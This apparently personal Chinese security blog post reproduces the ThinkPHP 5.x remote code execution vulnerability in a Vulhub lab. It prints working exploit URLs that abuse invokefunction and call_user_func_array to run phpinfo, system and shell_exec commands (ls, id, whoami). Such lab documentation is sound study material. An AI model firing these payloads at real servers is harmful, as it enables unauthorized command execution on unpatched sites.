1. 漏洞简介

ThinkPHP 是一款运用极广的 PHP 开发框架。
在版本 5 中,由于框架没有对控制器名进行正确检测处理,导致在网站没有开启强制路由的情况(即默认情况)下可以执行任意方法,从而导致远程命令执行漏洞。
受影响的版本包括 5.0.23 和 5.1.31 之前的所有版本。

详细的漏洞分析可以参考先知社区:《[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录》


2. 漏洞复现

本文简单记录一下该漏洞在实际利用中的一些 Payload ,以便后续查阅。

(1)使用 Vulhub 搭建漏洞测试靶场

搭建好相应的容器并运行:
容器搭建

容器搭建成功之后,能够在浏览器中正确访问页面:
浏览器页面

(2)使用 Payload 进行漏洞利用

根据 Vulhub 上现有的资料,直接使用以下 Payload 可以获取 PHPINFO 。

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

phpinfo

据此,便可以自行构造出想要执行的 Payload ,例如:

获取网站目录文件:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

system ls
获取对应ID:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

shell_exec id
查看当前用户:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

system whoami

3. 参考资料

https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce/README.zh-cn.md




• 本文中所提及的所有工具、资料、信息等各类内容,仅供学习参考,严禁用于非法用途。
• 请严格遵守相关法律法规,因不正当使用造成的后果由使用者自行承担,本站概不负责。


• 本站原创内容版权归作者所有,转载内容版权及解释权归原作者所有。
• 本站内容如需商业转载请联系作者获得授权,非商业转载请注明出处。
• 最终解释权归本站所有。

• 本文作者:Coonaa(转载文章除外)
• 本文链接:https://coonaa.cn/index.php/archives/200/

最后修改:2021 年 09 月 16 日 05 : 33 PM
如果你觉得我的文章有用,给我赏口饭叭 ~༼ つ ◕_◕ ༽つ